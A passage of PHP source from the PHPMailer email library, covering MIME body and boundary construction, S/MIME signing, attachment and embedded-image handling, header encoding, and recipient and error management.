$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
}
}
if ($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
/**
* Returns the whole MIME message.
* Includes complete headers and body.
* Only valid post preSend().
* @see PHPMailer::preSend()
* @access public
* @return string
*/
public function getSentMIMEMessage()
{
return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
}
/**
* Create unique ID
* @return string
*/
protected function generateId() {
return md5(uniqid(time()));
}
/**
* Assemble the message body.
* Returns an empty string on failure.
* @access public
* @throws phpmailerException
* @return string The assembled message body
*/
public function createBody()
{
$body = '';
//Create unique IDs and preset boundaries
$this->uniqueid = $this->generateId();
$this->boundary[1] = 'b1_' . $this->uniqueid;
$this->boundary[2] = 'b2_' . $this->uniqueid;
$this->boundary[3] = 'b3_' . $this->uniqueid;
if ($this->sign_key_file) {
$body .= $this->getMailMIME() . $this->LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
$bodyEncoding = '7bit';
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$bodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the body part only
if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
$bodyEncoding = 'quoted-printable';
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = '7bit';
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$altBodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the alt body part only
if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
$altBodyEncoding = 'quoted-printable';
}
//Use this as a preamble in all multipart message types
$mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
switch ($this->message_type) {
case 'inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
if (!empty($this->Ical)) {
$body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
$body .= $this->encodeString($this->Ical, $this->Encoding);
$body .= $this->LE . $this->LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[2]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
default:
// Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
//Reset the `Encoding` property in case we changed it for line length reasons
$this->Encoding = $bodyEncoding;
$body .= $this->encodeString($this->Body, $this->Encoding);
break;
}
if ($this->isError()) {
$body = '';
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
$file = tempnam(sys_get_temp_dir(), 'mail');
if (false === file_put_contents($file, $body)) {
throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
}
$signed = tempnam(sys_get_temp_dir(), 'signed');
//Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
if (empty($this->sign_extracerts_file)) {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null
);
} else {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null,
PKCS7_DETACHED,
$this->sign_extracerts_file
);
}
if ($sign) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
//The message returned by openssl contains both headers and body, so need to split them up
$parts = explode("\n\n", $body, 2);
$this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
$body = $parts[1];
} else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->lang('signing') . openssl_error_string());
}
} catch (phpmailerException $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
/**
* Return the start of a message boundary.
* @access protected
* @param string $boundary
* @param string $charSet
* @param string $contentType
* @param string $encoding
* @return string
*/
protected function getBoundary($boundary, $charSet, $contentType, $encoding)
{
$result = '';
if ($charSet == '') {
$charSet = $this->CharSet;
}
if ($contentType == '') {
$contentType = $this->ContentType;
}
if ($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--' . $boundary);
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
$result .= $this->LE;
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
}
$result .= $this->LE;
return $result;
}
/**
* Return the end of a message boundary.
* @access protected
* @param string $boundary
* @return string
*/
protected function endBoundary($boundary)
{
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Set the message type.
* PHPMailer only supports some preset message types, not arbitrary MIME structures.
* @access protected
* @return void
*/
protected function setMessageType()
{
$type = array();
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_', $type);
if ($this->message_type == '') {
//The 'plain' message_type refers to the message having a single body element, not that it is plain-text
$this->message_type = 'plain';
}
}
/**
* Format a header line.
* @access public
* @param string $name
* @param string $value
* @return string
*/
public function headerLine($name, $value)
{
return $name . ': ' . $value . $this->LE;
}
/**
* Return a formatted mail line.
* @access public
* @param string $value
* @return string
*/
public function textLine($value)
{
return $value . $this->LE;
}
/**
* Add an attachment from a path on the filesystem.
* Never use a user-supplied path to a file!
* Returns false if the file could not be found or read.
* Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
* If you need to do that, fetch the resource yourself and pass it in via a local file or string.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @throws phpmailerException
* @return boolean
*/
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
{
try {
if (!self::isPermittedPath($path) or !@is_file($path)) {
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => 0
);
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Return the array of attachments.
* @return array
*/
public function getAttachments()
{
return $this->attachment;
}
/**
* Attach all file, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access protected
* @param string $disposition_type
* @param string $boundary
* @return string
*/
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();
// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s', $boundary, $this->LE);
//Only include a filename property if we have one
if (!empty($name)) {
$mime[] = sprintf(
'Content-Type: %s; name="%s"%s',
$type,
$this->encodeHeader($this->secureHeader($name)),
$this->LE
);
} else {
$mime[] = sprintf(
'Content-Type: %s%s',
$type,
$this->LE
);
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
}
if ($disposition == 'inline') {
$mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
}
// If a filename contains any of these chars, it should be quoted,
// but not otherwise: RFC2183 & RFC2045 5.1
// Fixes a warning in IETF's msglint MIME checker
// Allow for bypassing the Content-Disposition header totally
if (!(empty($disposition))) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename="%s"%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
if (!empty($encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
$mime[] = sprintf(
'Content-Disposition: %s%s',
$disposition,
$this->LE . $this->LE
);
}
}
} else {
$mime[] = $this->LE;
}
// Encode as string attachment
if ($bString) {
$mime[] = $this->encodeString($string, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
} else {
$mime[] = $this->encodeFile($path, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
}
}
}
$mime[] = sprintf('--%s--%s', $boundary, $this->LE);
return implode('', $mime);
}
/**
* Encode a file attachment in requested format.
* Returns an empty string on failure.
* @param string $path The full path to the file
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @throws phpmailerException
* @access protected
* @return string
*/
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!self::isPermittedPath($path) or !file_exists($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = false;
if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
$magic_quotes = get_magic_quotes_runtime();
}
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
//Doesn't exist in PHP 5.4, but we don't need to check because
//get_magic_quotes_runtime always returns false in 5.4+
//so it will never get here
ini_set('magic_quotes_runtime', false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}
/**
* Encode a string in requested format.
* Returns an empty string on failure.
* @param string $str The text to encode
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @access public
* @return string
*/
public function encodeString($str, $encoding = 'base64')
{
$encoded = '';
switch (strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->fixEOL($str);
// Make sure it ends with a line break
if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
$encoded .= $this->LE;
}
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string optimally.
* Picks shortest of Q, B, quoted-printable or none.
* @access public
* @param string $str
* @param string $position
* @return string
*/
public function encodeHeader($str, $position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[\200-\377]/', $str)) {
// Can't use addslashes as we don't know the value of magic_quotes_sybase
$encoded = addcslashes($str, "\0..\37\177\\\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$matchcount = preg_match_all('/[()"]/', $str, $matches);
// Intentional fall-through
case 'text':
default:
$matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
break;
}
//There are no chars that need encoding
if ($matchcount == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
// Try to select the encoding which should produce the shortest output
if ($matchcount > strlen($str) / 3) {
// More than a third of the content will need encoding, so B encoding will be most efficient
$encoding = 'B';
if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->base64EncodeWrapMB($str, "\n");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "\n"));
}
} else {
$encoding = 'Q';
$encoded = $this->encodeQ($str, $position);
$encoded = $this->wrapText($encoded, $maxlen, true);
$encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
$encoded = trim(str_replace("\n", $this->LE, $encoded));
return $encoded;
}
/**
* Check if a string contains multi-byte characters.
* @access public
* @param string $str multi-byte text to wrap encode
* @return boolean
*/
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return false;
}
}
/**
* Does a string contain any 8-bit chars (in any charset)?
* @param string $text
* @return boolean
*/
public function has8bitChars($text)
{
return (boolean)preg_match('/[\x80-\xFF]/', $text);
}
/**
* Encode and wrap long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid
* @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
* @access public
* @param string $str multi-byte text to wrap encode
* @param string $linebreak string to use as linefeed/end-of-line
* @return string
*/
public function base64EncodeWrapMB($str, $linebreak = null)
{
$start = '=?' . $this->CharSet . '?B?';
$end = '?=';
$encoded = '';
if ($linebreak === null) {
$linebreak = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
} while (strlen($chunk) > $length);
$encoded .= $chunk . $linebreak;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($linebreak));
return $encoded;
}
/**
* Encode a string in quoted-printable format.
* According to RFC2045 section 6.7.
* @access public
* @param string $string The text to encode
* @param integer $line_max Number of chars allowed on a line before wrapping
* @return string
* @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
*/
public function encodeQP($string, $line_max = 76)
{
// Use native function if it's available (>= PHP5.3)
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
// Fall back to a pure PHP implementation
$string = str_replace(
array('%20', '%0D%0A.', '%0D%0A', '%'),
array(' ', "\r\n=2E", "\r\n", '='),
rawurlencode($string)
);
return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
}
/**
* Backward compatibility wrapper for an old QP encoding function that was removed.
* @see PHPMailer::encodeQP()
* @access public
* @param string $string
* @param integer $line_max
* @param boolean $space_conv
* @return string
* @deprecated Use encodeQP instead.
*/
public function encodeQPphp(
$string,
$line_max = 76,
/** @noinspection PhpUnusedParameterInspection */ $space_conv = false
) {
return $this->encodeQP($string, $line_max);
}
/**
* Encode a string using Q encoding.
* @link http://tools.ietf.org/html/rfc2047
* @param string $str the text to encode
* @param string $position Where the text is going to be used, see the RFC for what that means
* @access public
* @return string
*/
public function encodeQ($str, $position = 'text')
{
// There should not be any EOL in the string
$pattern = '';
$encoded = str_replace(array("\r", "\n"), '', $str);
switch (strtolower($position)) {
case 'phrase':
// RFC 2047 section 5.3
$pattern = '^A-Za-z0-9!*+\/ -';
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
// RFC 2047 section 5.2
$pattern = '\(\)"';
// intentional fall-through
// for this reason we build the $pattern without including delimiters and []
case 'text':
default:
// RFC 2047 section 5.1
// Replace every high ascii, control, =, ? and _ characters
$pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
break;
}
$matches = array();
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
// If the string contains an '=', make sure it's the first thing we replace
// so as to avoid double-encoding
$eqkey = array_search('=', $matches[0]);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0], '=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
// Replace every spaces to _ (more readable than =20)
return str_replace(' ', '_', $encoded);
}
/**
* Add a string or binary attachment (non-filesystem).
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @return void
*/
public function addStringAttachment(
$string,
$filename,
$encoding = 'base64',
$type = '',
$disposition = 'attachment'
) {
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($filename);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $filename,
2 => basename($filename),
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => 0
);
}
/**
* Add an embedded (inline) attachment from a file.
* This can include images, sounds, and just about any other document type.
* These differ from 'regular' attachments in that they are intended to be
* displayed inline with the message, not just attached for download.
* This is used in HTML messages that embed the images
* the HTML refers to using the $cid value.
* Never use a user-supplied path to a file!
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!self::isPermittedPath($path) or !@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Add an embedded stringified attachment.
* This can include images, sounds, and just about any other document type.
* Be sure to set the $type to an image type for images:
* JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
* @param string $string The attachment binary data.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name
* @param string $encoding File encoding (see $Encoding).
* @param string $type MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = 'base64',
$type = '',
$disposition = 'inline'
) {
// If a MIME type is not specified, try to work it out from the name
if ($type == '' and !empty($name)) {
$type = self::filenameToType($name);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Check if an inline attachment is present.
* @access public
* @return boolean
*/
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
/**
* Check if an attachment (non-inline) is present.
* @return boolean
*/
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
/**
* Check if this message has an alternative body set.
* @return boolean
*/
public function alternativeExists()
{
return !empty($this->AltBody);
}
/**
* Clear queued addresses of given kind.
* @access protected
* @param string $kind 'to', 'cc', or 'bcc'
* @return void
*/
public function clearQueuedAddresses($kind)
{
$RecipientsQueue = $this->RecipientsQueue;
foreach ($RecipientsQueue as $address => $params) {
if ($params[0] == $kind) {
unset($this->RecipientsQueue[$address]);
}
}
}
/**
* Clear all To recipients.
* @return void
*/
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
$this->clearQueuedAddresses('to');
}
/**
* Clear all CC recipients.
* @return void
*/
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
$this->clearQueuedAddresses('cc');
}
/**
* Clear all BCC recipients.
* @return void
*/
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
$this->clearQueuedAddresses('bcc');
}
/**
* Clear all ReplyTo recipients.
* @return void
*/
public function clearReplyTos()
{
$this->ReplyTo = array();
$this->ReplyToQueue = array();
}
/**
* Clear all recipient types.
* @return void
*/
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
$this->RecipientsQueue = array();
}
/**
* Clear all filesystem, string, and binary attachments.
* @return void
*/
public function clearAttachments()
{
$this->attachment = array();
}
/**
* Clear all custom headers.
* @return void
*/
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
/**
* Add an error message to the error container.
* @access protected
* @param string $msg
* @return void
*/
protected function setError($msg)
{
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror['error'])) {
$msg .= $this->lang('smtp_error') . $lasterror['error'];
if (!empty($lasterror['detail'])) {
$msg .= ' Detail: '. $lasterror['detail'];
}
if (!empty($lasterror['smtp_code'])) {
$msg .= ' SMTP code: ' . $lasterror['smtp_code'];
}
if (!empty($lasterror['smtp_code_ex'])) {
$msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
}
}
}
$this->ErrorInfo = $msg;
}
/**
* Return an RFC 822 formatted date.
* @access public
* @return string
* @static
*/
public static function rfcDate()
{
// Set the time zone to whatever the default is to avoid 500 errors
// Will default to UTC if it's not set properly in php.ini
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
/**
* Get an error message in the current language.
* @access protected
* @param string $key
* @return string
*/
protected function lang($key)
{
if (count($this->language) < 1) {
$this->setLanguage('en'); // set the default language
}
if (array_key_exists($key, $this->language)) {
if ($key == 'smtp_connect_failed') {
//Include a link to troubleshooting docs on SMTP connection failure
//this is by far the biggest cause of support questions
//but it's usually not PHPMailer's fault.
return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
}
return $this->language[$key];
} else {
//Return the key as a fallback
return $key;
}
}
/**
* Check if an error occurred.
* @access public
* @return boolean True if an error did occur.
*/
public function isError()
{
return ($this->error_count > 0);
}
/**
* Ensure consistent line endings in a string.
* Changes every end of line from CRLF, CR or LF to $this->LE.
* @access public
* @param string $str String to fixEOL
* @return string
*/
public function fixEOL($str)
{
// Normalise to \n
$nstr = str_replace(array("\r\n", "\r"), "\n", $str);
// Now convert LE as needed
if ($this->LE !== "\n") {
$nstr = str_replace("\n", $this->LE, $nstr);
}
return $nstr;
}
/**
* Add a custom header.
* $name value can be overloaded to contain
* both header name and value (name:value)
* @access public
* @param string $name Custom header name
* @param string $value Header value
* @return void
*/
public function addCustomHeader($name, $value = null)
{
if ($value === null) {
// Value passed in as name:value
$this->CustomHeader[] = explode(':', $name, 2);
} else {
$this->CustomHeader[] = array($name, $value);
}
}
/**
* Returns all custom headers.
* @return array
*/
public function getCustomHeaders()
{
return $this->CustomHeader;
}
/**
* Create a message body from an HTML string.
* Automatically inlines images and creates a plain-text version by converting the HTML,
* overwriting any existing values in Body and AltBody.
* Do not source $message content from user input!
* $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
* will look for an image file in $basedir/images/a.png and convert it to inline.
* If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
* If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
* @access public
* @param string $message HTML message string
* @param string $basedir Absolute path to a base directory to prepend to relative paths to images
* @param boolean|callable $advanced Whether to use the internal HTML to text converter
* or your own custom converter @see PHPMailer::html2text()
* @return string $message The transformed message Body
*/
public function msgHTML($message, $basedir = '', $advanced = false)
{
preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
if (array_key_exists(2, $images)) {
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
// Ensure $basedir has a trailing /
$basedir .= '/';
}
foreach ($images[2] as $imgindex => $url) {
// Convert data URIs into embedded images
if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
$data = substr($url, strpos($url, ','));
if ($match[2]) {
$data = base64_decode($data);
} else {
$data = rawurldecode($data);
}
